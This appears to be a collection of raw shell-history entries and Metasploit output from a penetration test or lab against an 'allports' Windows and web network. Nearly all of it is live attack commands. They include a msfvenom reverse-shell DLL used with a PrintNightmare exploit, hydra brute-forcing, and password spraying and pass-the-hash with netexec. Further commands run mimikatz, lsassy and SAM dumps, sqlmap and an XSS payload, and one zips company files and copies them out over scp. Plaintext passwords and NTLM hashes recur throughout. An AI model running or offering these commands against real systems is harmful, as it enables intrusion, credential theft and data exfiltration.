[*] 10.0.1.6:445          - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:required) (guid:{22c34e5e-d622-49d9-8a48-3948193bf5cb}) (authentication domain:APT)\
[+] 10.0.1.6:445          -   Host is running Version 10.0.20348 (likely Windows Server 2022)\
[*] 10.0.1.6              - Scanned 1 of 1 hosts (100% complete)\
[*] Auxiliary module execution completed\
msf auxiliary(scanner/smb/smb_version) > \
\


_raw:
mysql
mysql -u rdavis -p 'rosdav50' -h 10.0.1.15 -P 3306 -D information_schema
mysql -u rdavis-h 10.0.1.15 -P 3306 -D information_schema
mysql -u rdavis -h 10.0.1.15 -P 3306 -D information_schema
mysql -u rdavis -p 'rosdav50'  -h 10.0.1.15 -P 3306 -D information_schema
clear
mysql -u root -p ''  -h 10.0.1.15 -P 3306 -D information_schema
exit


_raw: : 1762645154:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762645154:0;netexec smb 10.0.1.6 -u UserNAme -p 'Sails@way!' --users


_raw: : 1762645122:0;netexec smb 10.0.1.6 u UserNAme -p 'Sails@way!' --users


_raw: : 1762645121:0;impacket-GetADUsers -all allports2.local/Administrator -dc-ip 10.10.10.6


_raw: : 1762645118:0;name-that-hash -t "2a$10$pnQgtA9b6OQAoeK9j4b86O0GKO3r75NmAmvSdTSm8xDhdiRmEtVAK"


_raw: : 1762645106:0;apt install name-that-hash


_raw: : 1762645073:0;hashid.py -t '2a$10$pnQgtA9b6OQAoeK9j4b86O0GKO3r75NmAmvSdTSm8xDhdiRmEtVAK'


_raw: : 1762645071:0;impacket-GetADUsers -all allports.local/Administrator -dc-ip 10.10.10.6


_raw: : 1762645066:0;impacket-GetADUser -all allports.local/Administrator -dc-ip 10.10.10.6


_raw: : 1762645064:0;hashid -t '2a$10$pnQgtA9b6OQAoeK9j4b86O0GKO3r75NmAmvSdTSm8xDhdiRmEtVAK'


_raw: : 1762645057:0;impacket-GetADUsers.py -all allports.local/Administrator -dc-ip 10.10.10.6


_raw: : 1762645045:0;python3 GetADUsers.py -all allports.local/Administrator -dc-ip 10.10.10.6


_raw:
: 1762645025:0;msf auxiliary(scanner/smb/smb_version) > run\
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression\
[*] 10.0.1.6:445          - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:required) (guid:{22c34e5e-d622-49d9-8a48-3948193bf5cb}) (authentication domain:APT)\
[+] 10.0.1.6:445          -   Host is running Version 10.0.20348 (likely Windows Server 2022)\
[*] 10.0.1.6              - Scanned 1 of 1 hosts (100% complete)\
[*] Auxiliary module execution completed\
msf auxiliary(scanner/smb/smb_version) > \
\


_raw: : 1762644978:0;sqlmap -u "http://10.0.1.15:8080/index.php?route=route_builder" --random-agent --risk 3


_raw: : 1762644974:0;sqlmap -u "http://10.0.1.15:8080/index.php?route=route_builder" --random-agent --risk 100


_raw: : 1762644968:0;sqlmap -u "http://10.0.1.15:8080/index.php?route=route_builder" --random-agent --risk 2


_raw: : 1762644958:0;sqlmap -u "http://10.0.1.15:8080/index.php?route=route_builder" --random-agent


_raw: : 1762644952:0;sqlmap -u "http://10.0.1.15:8080/index.pho?route=route_builder" --random-agent


_raw: : 1762644947:0;impacket-GetADUsers -all allports.local -dc-ip 10.0.1.6


_raw: : 1762644888:0;nikto -h PP-C023.rooms.allports.tours -C all


_raw:
sudo python -m http.server 8080
cd /steal/
pwd
cd
mkdir steal
cd steal
pwd
sudo python -m http.server 8080
cd /uploads/68dad5152a0ceffc6f7f5951/faed2d5b-9005-45ad-b9e1-49025929ef99__Expense_Reimbursement_Form.pdf
cat /uploads/68dad5152a0ceffc6f7f5951/faed2d5b-9005-45ad-b9e1-49025929ef99__Expense_Reimbursement_Form.pdf
cd /uploads
cd /uploads/
cd ..
cd ..
ls
cd home
ls
cd kali
ls
cd pentester
ls
cd steal
ls
pwd
sudo python -m http.server 8080


_raw:
tmux
ls
mkdir enumeration
ls
cd enumeration
ls
cd ..
ls
cd masscan
ls
cd totally-inconspicuous-hacking-repo
ls
cd enumeration
ls
cat wallscan.sh
cd ..
cd enumeration
touch 10.0.1.0/24.txt
ls
masscan 10.0.1.0/24 --ping --rate 1000 -oG - |\
  grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' |\
  sort -u
sudo masscan 10.0.1.0/24 --ping --rate 1000 -oG - |\
  grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' |\
  sort -u > subnet1.txt
cat subnet1.txt
sudo masscan prod.allports.local --ping --rate 1000 -oG - |\
  grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' |\
  sort -u > subnet1.txt
ls
tmux


_raw: : 1762644811:0;impacket-GetADUsers -all allports.local -dc-ip 10.0.1.6


_raw: : 1762644801:0;impacket-GetADUsers -all allports.local


_raw: : 1762644765:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local -all allports.local


_raw: : 1762644752:0;smbclient -L 10.0.1.6 -U Administrator


_raw: : 1762644743:0;nikto -h bb-d218.rooms.allports.tours -C all


_raw: : 1762644730:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local allports.local


_raw: : 1762644726:0;nikto -h bb-d218.rooms.allports.tours


_raw: : 1762644723:0;netexec ldap 10.0.1.6 -u vega -d allports.local -p 'Sails@way!'


_raw: : 1762644720:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local prod.allports.local


_raw: : 1762644716:0;netexec ldap 10.0.1.6 -u porter -d allports.local -p 'Sails@way!'


_raw: : 1762644715:0;nikto -h bb-d218.room.allports.tours


_raw: : 1762644705:0;netexec wmi 10.0.1.6 -u porter -d allports.local -p 'Sails@way!'


_raw: : 1762644699:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local


_raw: : 1762644682:0;curl http://PP-C023.rooms.allports.tours/ > rooms.html


_raw: : 1762644661:0;netexec rdp 10.0.1.6 -u porter -d allports.local -p 'Sails@way!'


_raw: : 1762644623:0;netexec smb 10.0.1.6 -u porter -d allports.local -p 'Sails@way!'


_raw: : 1762644597:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local "{allports.local}" -all


_raw: : 1762644590:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local "{allports.local}" /all


_raw: : 1762644586:0;impacket-GetADUsers -dc-ip 10.0.1.6 -dc-host APT-DC-01.allports.local "{allports.local}" / all


_raw: : 1762644531:0;impacket-GetADUsers -dc-ip 10.0.1.6 APT-DC-01.allports.local


_raw: : 1762644508:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'Sails@way!'


_raw: : 1762644501:0;netexec smb 10.0.1.6 -u vega -d allports.local -p 'Sails@way!'


_raw: : 1762644490:0;netexec winrm 10.0.1.6 -u vega -d allports.local -p 'Sails@way!'


_raw: : 1762644452:0;netexec smb 10.0.1.6 -u vega -d allports.local -p 'Sails@way!'


_raw: : 1762644443:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'Sails@way!'


_raw: : 1762644424:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762644165:0;feroxbuster -u http://chat.allports.tours -t 3


_raw: : 1762644159:0;feroxbuster -u https://chat.allports.tours -t 3


_raw: : 1762644141:0;feroxbuster -u https://chat.allports.tours/ -t 3


_raw: : 1762644133:0;feroxbuster -u http://chat.allports.tours/ -t 3


_raw: : 1762644130:0;feroxbuster -u http://chat.allports.tours/ t 3


_raw: : 1762644107:0;feroxbuster -u http://chat.allports.tours/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 3


_raw: : 1762644102:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762644092:0;gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw:
ping 10.0.1.20
cat ~/password.txt
ping 10.0.1.20
exit


_raw: : 1762644017:0;sudo apt-get install mysql-client


_raw: : 1762643778:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762643753:0;jq '.' agentcategories.json


_raw: : 1762643679:0;gobuster dir -u http://10.0.1.11:8045 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762643659:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762643447:0;gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762643440:0;dirb http://10.0.1.99/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762643430:0;gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw:
: 1762642893:0;\
curl -X PUT http://10.0.1.14:5001/test \\
     -H "Content-Type: application/json" \\
     -d '{"payload":"<script>alert(1)</script>"}'\


_raw: : 1762642820:0;curl -v http://chat.allports.tours:5001


_raw:
tmux
sudo wireshark
cd tools
ls
tmux
cd ..
ls
nano 10.0.1.14_ports
cat 10.0.1.14_ports
nmap -sV 10.0.1.14 -Pn -v -oN 14_scan
nano 10.0.1.14_ports
ls
rm 10.0.1.14_ports
cat 10.0.1.14_scan
curl http://10.0.1.14:5001
curl -i http://10.0.1.14:5001
curl http://10.0.1.14
curl https://10.0.1.14:443
gobuster vhost --help
gobuster vhost -u "https://10.0.1.14/" -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
gobuster vhost -u "10.0.1.14" -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
gobuster vhost -u "10.0.1.14" -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt --append-domain
gobuster vhost -u "10.0.1.14" -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt --append-domain -v
gobuster vhost -u "10.0.1.14" -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt --append-domain -debug
ls
mkdir 14
cd 14
ls
cd ..
mkdir 11
cd 11
ls
nano ports
ls
sudo nano /etc/host
sudo nano /etc/hosts
ls
cat ports
gobuster dir -u "http://10.0.1.11/api/" -w /usr/share/seclists/Discovery/Web-Content/common.txt | tee penny_api_dir_fuzz
ls
cd ..
mkdir 10
ls
cd 10
ls
nc -nv 10.0.1.10 6768
hashid '458107A465640742DF6CB3A343370E7F732B8DC2B6631F81A2B532A9405894CD'
cd ../11
ls
cat ports
nc -nv 10.0.1.10 6768
cat pp
cat ports
ssh rdavis@10.0.1.11
ssh rose.davis@10.0.1.11
ssh root@10.0.1.11
cat ports
ls
cd ../14
ls
gobuster dir -u "https://10.0.1.14/" -w /usr/share/seclists/Discovery/Web-Content/common.txt | tee emergency_dir_fuzz
ls
cd ..
ls
cat 10.0.1.14_scan
ssh rdavis@10.0.1.14
sudo nano /etc/hosts
apt search zaproxy
sudo apt install zaproxy
zaproxy
gobuster dir -u "https://chat.allports.tours/" -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir --help | grep insecure
gobuster dir --help | grep ssl
gobuster dir -u "https://chat.allports.tours/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -k
git clone https://github.com/ticarpi/jwt_tool.git
ls
cd jwt_tool
ls
cat setup.txt
python3 -m pip install termcolor cprint pycryptodomex requests
sudo apt install python3-termcolor
sudo apt install python3-cprint
pipx install cprint
ls
./jwt_tool.py
sudo apt install python3-requests
sudo apt install python3-pycryptodomex
pipx install pycryptodomex
./jwt_tool.py
go install github.com/frodejac/jwtool@latest
jwtool --help
jwtool eyJjc3JmX3Rva2VuIjoiNTIwZDE1NDhjNTk4YjM0YTlkYTgzNzZhZjY3MTlkMzQ5YWYwZDM1ZiJ9.aQ-RcQ.TrNKmsFKGB3zyvAw6bSQAV7DU7E
jwtool 'eyJjc3JmX3Rva2VuIjoiNTIwZDE1NDhjNTk4YjM0YTlkYTgzNzZhZjY3MTlkMzQ5YWYwZDM1ZiJ9.aQ-RcQ.TrNKmsFKGB3zyvAw6bSQAV7DU7E'
base64 -d "eyJjc3JmX3Rva2VuIjoiNTIwZDE1NDhjNTk4YjM0YTlkYTgzNzZhZjY3MTlkMzQ5YWYwZDM1ZiJ9.aQ-RcQ.TrNKmsFKGB3zyvAw6bSQAV7DU7E"
gobuster dir -u "http://10.0.1.11:7700/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -k
curl "http://10.0.1.11:7700/"
curl "http://10.0.1.11:7700/health"
curl "http://10.0.1.11:7700/dump"
curl -I "http://10.0.1.11:7700/dump"
curl -I "http://10.0.1.11:7700/dumps"
curl -X POST "http://10.0.1.11:7700/dumps"
nc -nv 10.0.1.10 6768
cd ..
mkdir 15
nano ports
nc -nv 10.0.1.10 6768
curl -I http://10.0.1.15:8080/api/load_routes.php?action=list
curl -I "http://10.0.1.15:8080/api/load_routes.php?action=list"
curl -i "http://10.0.1.15:8080/api/load_routes.php?action=list"
ls
nmap --help
nmap --help | grep top-ports
nmap -sU 10.0.1.0/24 --top-ports 200 -Pn -v -oN UDP_Scan
curl --help | grep L
curl --help | grep l
curl -r 'https://chat.allports.tours/register' \\
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'accept-language: en-US,en;q=0.9' \\
  -H 'cache-control: max-age=0' \\
  -H 'content-type: application/x-www-form-urlencoded' \\
  -b 'session=eyJjc3JmX3Rva2VuIjoiNTIwZDE1NDhjNTk4YjM0YTlkYTgzNzZhZjY3MTlkMzQ5YWYwZDM1ZiJ9.aQ-ssA.AYN-ky-WtH-evos5pSyS2EHxQ0A' \\
  -H 'origin: https://chat.allports.tours' \\
  -H 'priority: u=0, i' \\
  -H 'referer: https://chat.allports.tours/register' \\
  -H 'sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"' \\
  -H 'sec-ch-ua-mobile: ?0' \\
  -H 'sec-ch-ua-platform: "Linux"' \\
  -H 'sec-fetch-dest: document' \\
  -H 'sec-fetch-mode: navigate' \\
  -H 'sec-fetch-site: same-origin' \\
  -H 'sec-fetch-user: ?1' \\
  -H 'upgrade-insecure-requests: 1' \\
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  --data-raw 'csrf_token=IjUyMGQxNTQ4YzU5OGIzNGE5ZGE4Mzc2YWY2NzE5ZDM0OWFmMGQzNWYi.aQ-sxg.IeO8bFc2gkhk5kPUFEKts9R3xks&email=c%40g.com&room_number=BB-A101&username=user3&first_name=Testing&last_name=User&password=password&verify_password=password&submit=Create+Account&next=' \\
  --insecure
curl --help | grep r
curl --help | grep redi
curl --help | grep follow
curl --help | grep fol
curl --help | grep fo
curl --help
curl -L 'https://chat.allports.tours/register' \\
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'accept-language: en-US,en;q=0.9' \\
  -H 'cache-control: max-age=0' \\
  -H 'content-type: application/x-www-form-urlencoded' \\
  -b 'session=eyJjc3JmX3Rva2VuIjoiNTIwZDE1NDhjNTk4YjM0YTlkYTgzNzZhZjY3MTlkMzQ5YWYwZDM1ZiJ9.aQ-ssA.AYN-ky-WtH-evos5pSyS2EHxQ0A' \\
  -H 'origin: https://chat.allports.tours' \\
  -H 'priority: u=0, i' \\
  -H 'referer: https://chat.allports.tours/register' \\
  -H 'sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"' \\
  -H 'sec-ch-ua-mobile: ?0' \\
  -H 'sec-ch-ua-platform: "Linux"' \\
  -H 'sec-fetch-dest: document' \\
  -H 'sec-fetch-mode: navigate' \\
  -H 'sec-fetch-site: same-origin' \\
  -H 'sec-fetch-user: ?1' \\
  -H 'upgrade-insecure-requests: 1' \\
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  --data-raw 'csrf_token=IjUyMGQxNTQ4YzU5OGIzNGE5ZGE4Mzc2YWY2NzE5ZDM0OWFmMGQzNWYi.aQ-sxg.IeO8bFc2gkhk5kPUFEKts9R3xks&email=c%40g.com&room_number=BB-A101&username=user3&first_name=Testing&last_name=User&password=password&verify_password=password&submit=Create+Account&next=' \\
  --insecure
echo 'dGFidWxhcl9zZWFyY2g=' | base64 -d
nc -nv 10.0.1.10 6768
nmap -sU 10.0.1.11 -p 161 -Pn -v
nmap -sU 10.0.1.99 -p 161 -Pn -v
nano userlist
nano hosts
nxc ssh hosts -u userlist -p 'IamTheCaptain'
nxc ssh hosts -u root -p 'IamTheCaptain'
ssh lpeterson@10.0.1.15
ssh lpeterson@10.0.1.30
nc -nv 10.0.1.10 6768
route -a
route list
route
gobuster dir -u "http://10.0.1.11:8045/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -k
gobuster dir -u "http://10.0.1.14:5001/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -k
gobuster dir -u "10.0.1.14:5001/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -k
feroxbuster -s http://10.0.1.14:5001
feroxbuster -s --url http://10.0.1.14:5001
feroxbuster --silent --url http://10.0.1.14:5001
feroxbuster--url http://10.0.1.14:5001
feroxbuster --url http://10.0.1.14:5001
curl http://10.0.1.14:5001/
curl -I "http://10.0.1.14:5001/"
curl -i "http://10.0.1.14:5001/"
curl -I "http://10.0.1.14:5001/"


_raw: : 1762642796:0;python printnightmare.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -dll shell.dll


_raw: : 1762642792:0;python printnightmare.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 shell.dll


_raw: : 1762642787:0;python printnightmare.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 f.dll


_raw: : 1762642786:0;curl -v http://chat.allports.tours


_raw: : 1762642780:0;msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.254.201 lport=33333 -f dll > shell.dll


_raw: : 1762642774:0;msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.254.201 lport=33333


_raw:
tmux
ls
clear
tmux list-sessios
tmux list-sessions
tmux attach


_raw:
cat /var/log/command_history.log
cat /etc/hosts
cat /etc/cloud/templates/hosts.debian.tmpl
dig @10.0.1.6 penny.allports.local
dig @10.0.1.6 allports.local
sudo nano /etc/hosts
cat /var/log/command_history.log
dig @10.0.1.6 bb-a173.rooms.allports.local
dig @10.0.1.6 rooms.allports.local
sudo nano /etc/hosts
dig @10.0.1.6 penny.allports.local
dig @10.0.1.14 rooms.allports.local
dig @10.0.1.14 penny.allports.local
dig @10.0.1.6 -x 10.0.1.14
dig @10.0.1.6 -x 10.0.1.99
clear
dig @10.0.1.6 -x 10.0.1.99
dig @10.0.1.6 -x 10.0.1.11
dig @10.0.1.14 -x 10.0.1.11
sudo nano /etc/hosts
dig @10.0.1.14 rooms.allports.tours
dig @10.0.1.6 rooms.allports.tours
sudo nano /etc/hosts
dig @10.0.1.6 chat.allports.tours
sudo nano /etc/hosts
dig @10.0.1.6 rooms.allports.tours
sudo nano /etc/hosts
cat /etc/hosts
sudo nano /etc/hosts
cat /etc/hosts
ip a
sudo nano /etc/hosts
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "string",\
  "select": [\
    "string"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "full_voyage_schedule",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "id",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "all_ports_tours_earnings_dashboard",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard_dashboard",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "all_ports_tours_earnings_dashboard",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard__dashboard",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "all_ports_tours_earnings_dashboard",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard__dashboard",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "*",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_december2025_voyage_schedules",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report__all_invoices",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report__monthly_summary",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report__summary_by_type",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard__all_invoices",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_earnings_report_dashboard__dashboard",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {},\
  "offset": 0,\
  "summarize": true\
}'
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\


_raw: : 1762642747:0;python printnightmare.py allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 f.dll


_raw: : 1762642746:0;hydra -L emails.txt -P defaultpassword.txt -I -t 4 -w 3 rdp://10.0.1.6


_raw:
ls
cd company_files
ls
cd Admin
ls
cat Internal_Memo_DRAFT_DO_NOT_SHARE.txt
cat Administrative_Tasks_Tracker.xlsx
ls
cd ..
ls
cd IT
ls
cd Configs
ls
cat Remote_Comms_Access_Keys_README.txt
cat SNMP_Monitoring_Profile_Comms.cfg
cd ..
ls
cd Procedures\ and\ SOPs
ls
cd ..
ls
cd ..
ls
cd Legal_Compliance
ls
cd Contracts
ls
cd ..
ls
cd Operations
ls
cd Corporate_Communications
ls
cd Press_Releases
ls
cd ..
ls
cd Shared
ls
cd ..
ls
cd ..
ls
zip -r company_files.zip company_files
scp company_files.zip pentester@10.0.254.206:/home/pentester/company_files.zip
bloodhound-python
bloodhound-python -d allports.tour -collectionmethod All -u rdavis -p rosdav50 -k -no-pass
bloodhound-python -d allports.tour -collectionmethod all -u rdavis -p rosdav50 -k -no-pass
bloodhound-python -d allports.tour -u rdavis -p rosdav50 -k -no-pass --collectionmethod All
bloodhound-python -d allports.tour -u rdavis -p rosdav50 -k -no-pass --collectionmethod All -ns 10.0.1.6
ls
bloodhound-python -d allports.tour -u rdavis -p rosdav50 -k -no-pass --collectionmethod All -ns 10.0.1.6
bloodhound-python -d allports.tour -u rdavis -p rosdav50 -k -no-pass --collectionmethod All -ns 10.0.1.6 --disable-autogc
git clone SVC_STABILIZE
git clone https://github.com/cisagov/snafflepy.git
ls
cd snafflepy
ls
python3 snaffler.py
pip3 install -r requirements.txt
pip3 install -r requirements.txt --break-system-packages
python3 snaff
python3 snaffler.py
impacket-secretsdump
ccd ..
cd ..
ls
cd Downloads
python3 -m http.server 80
nxc smb 10.0.1.0/24 -u SVC_STABILIZE -d allports.local -p '1gyroscope' -L
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 -M slinky --options
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 -M slinky -o NAME=IMPORTANT SERVER=10.0.254.202
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M slinky -o NAME=IMPORTANT SERVER=10.0.254.202
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M mimikatz
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M mimikatz | grep -i mimikatz
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --sam
ls
python3 -m http.server 80
nxc smb 10.0.1.6 -d allports.local -u druiz -p 'Sails@way!' --shares
nxc smb 10.0.1.21 -d allports.local -u druiz -p 'Sails@way!'
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth --lsa
nxc smb 10.0.1.20 -u administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth -M lsassy
nxc smb 10.0.1.0/24 -u diaz11 -d allports.local -p 'Sail@way!' --shares
nxc smb 10.0.1.0/24 -u diaz11 -d allports.local -p 'Sail@way!' --shares -k
nxc smb 10.0.1.0/24 -u adiaz11 -d allports.local -p 'Sail@way!' --shares -k
nxc smb 10.0.1.0/24 -u adiaz11 -d allports.local -p 'Sail@way!' --shares
nxc smb 10.0.1.0/24 -u adiaz11 -d allports.local -p 'Sails@way!' --shares -k
impacket-smbclient allports.local\adias11:'Sails@way!'@10.0.1.21
impacket-smbclient allports.local\adias11:'Sails@way!'@10.0.1.21 -k
impacket-smbclient allports.local/adias11:'Sails@way!'@10.0.1.21 -k
impacket-getTGT allports.local/adias11:'Sails@way!' -dc-ip 10.0.1.21
impacket-getTGT allports.local/adias11:'Sails@way!' -dc-ip 10.0.1.6
nxc smb 10.0.1.6 -d allports.local -u adias11 -p 'Sails@way!' --generate-tgt
nxc ldap 10.0.1.6 -d allports.local -u adias11 -p 'Sails@way!' --generate-tgt
impacket-getTGT allports.local/adias11:'Sails@way!' -dc-ip 10.0.1.6
impacket-getTGT allports.local/adias11:'Sails@way!' -dc-ip 10.0.1.6 -h
impacket-getTGT allports.local/adiaz11:'Sails@way!' -dc-ip 10.0.1.6
export KRB5CCNAME=adiaz11.ccache
impacket-smbclient allports.local/adiaz11:'Sails@way!'@10.0.1.21 -k -no-pass
impacket-smbclient allports.local/adiaz11@10.0.1.21 -k --no-pass
impacket-smbclient allports.local/adiaz11@10.0.1.21 -k -no-pass
impacket-smbclient allports.local/adiaz11:'Sails@way!'@10.0.1.21
impacket-smbclient allports.local/adiaz11:'Sails@way!'@10.0.1.21 -k
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' --shares
nxc smb 10.0.1.21 -d allports.local -u adiaz11 -p 'Sails@way!' --shares -k
